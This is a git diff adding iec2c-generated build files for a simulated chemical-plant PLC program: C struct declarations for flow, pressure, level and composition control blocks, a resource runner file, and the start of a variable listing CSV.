__DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; 